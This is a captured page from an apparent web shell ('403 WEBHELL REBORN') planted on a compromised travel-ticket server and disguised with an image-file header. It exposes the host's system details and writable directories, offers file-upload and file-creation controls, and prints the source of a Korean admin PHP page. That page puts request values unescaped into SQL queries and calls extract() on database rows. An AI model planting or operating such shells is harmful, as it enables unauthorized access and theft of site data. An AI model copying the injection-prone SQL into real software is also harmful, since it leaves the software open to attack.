ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/ticket/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/ticket/ticket_group_edit.html
<? 
include "../include/top.html";
include "_common.php";

//공급처
$prod_arr = member_fetch(" and mb_level ='13' and del_flag='N' ", "bz_corp_nm ASC");

if($mode == 'edit' && $group_seq){
	$sql = "select * from TB_TICKET_GRP where seq = {$group_seq} ";
	$row = db_fetch($sql);
	extract($row);

	// 티켓 수량 확인
	$sql2 = "select count(*) as ticket_cnt from TB_TICKET where del_flag='N' AND group_code = '{$row['group_code']}'";
	$row2 = db_fetch($sql2);
	$ticket_cnt = $row2['ticket_cnt'];

	// 공급처이름
	$memInfo = get_member($producer_id);
	$producer_nm = $memInfo['bz_corp_nm'];

	$sqlType = "ticket_group_edit";
	$btn_name ="수정";
} else {
	$sqlType = "ticket_group_write";
	$btn_name ="등록";
}
?>

	<div class="contents_wrap">
	<div class="contents_wrap_in">
		<div class="title">티켓<span class="arrow">&gt;</span><strong>티켓 그룹 <?=$btn_name?></strong></div>
		<div class="contents_detail">

		<div id="Content_box">

		<!-- 폼 -->
		<form name="frm_ins" id="frm_ins" method="post" enctype="multipart/form-data">
		<input type="hidden" name="SqlType" value="<?=$sqlType?>" />
		<input type="hidden" name="group_seq" value="<?=$seq?>" />

		<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_register mt30" summary="티켓을 등록합니다.">
			<tbody>
			<tr>
				<th width="120" height="30" scope="row">공급처</th>
				<td>
					<? if($ticket_cnt > 0) { ?>
					<input type="hidden" name="producer_id" value="<?=$producer_id?>">
					<?=$producer_nm?>
					<? } else { ?>
					<select name="producer_id" id="producer_id" style="width:400px;" hname="공급처" required/>
						<option value="">==선택==</option>
						<? foreach($prod_arr as $k => $v) { ?>
						<option value="<?=$v['mb_id']?>" <?if($v['mb_id'] == $producer_id) echo "selected"?>><?=$v['bz_corp_nm']?> (<?=$v['mb_id']?>)</option>
						<?}?>
					</select>
					<? } ?>
				</td>
			</tr>
			<tr>
				<th height="30" scope="row">그룹 코드</th>
				<td>
					<? if($mode=='edit'){ ?>
						<?=$group_code?>
					<? } else { ?>
						<input type="text" name="group_code" class="input_text" value="<?=$group_code?>" size="25" hname="그룹코드" required>
						<span class="form_tip">* 영문+숫자로만 입력하세요. 예) TEST001</span>
					<? } ?>
				</td>
			</tr>
			<tr>
				<th scope="row">그룹 이름</th>
				<td>
					<input type="text" name="group_nm" class="input_text" value="<?=$group_nm?>" size="65" hname="그룹이름" required>
				</td>
			</tr>
			<tr>
				<th scope="row">메모</th>
				<td>
					<input type="text" name="memo" class="input_text" value="<?=$memo?>" size="65">
				</td>
			</tr>
			</tbody>
		</table>
		</form>
				<!-- /폼 -->

		<div class="btn_wrap_C mt30" style="background:#edf0f5">
		<a class="Bbtn red" href="javascript:;" onClick="write_frm();"><?=$btn_name?></a>&nbsp;<a href="ticket_group_list.html?<?=$_href?>" class="Bbtn gray" >목록보기</a>
		</div>

		</div>
		</div>
		</div>
	</div>
<script Language="javascript">
function write_frm()
{
	var f=document.frm_ins;
		
	// 폼체크
	var result = to_validation(f);
	if (result == false) return false;
	
	if(!confirm("저장하시겠습니까?")) return false;

	f.action = "ticket_register_proc.php";
	f.submit();
}
</script>

<? include "../include/footer.html" ?>

Anon7 - 2021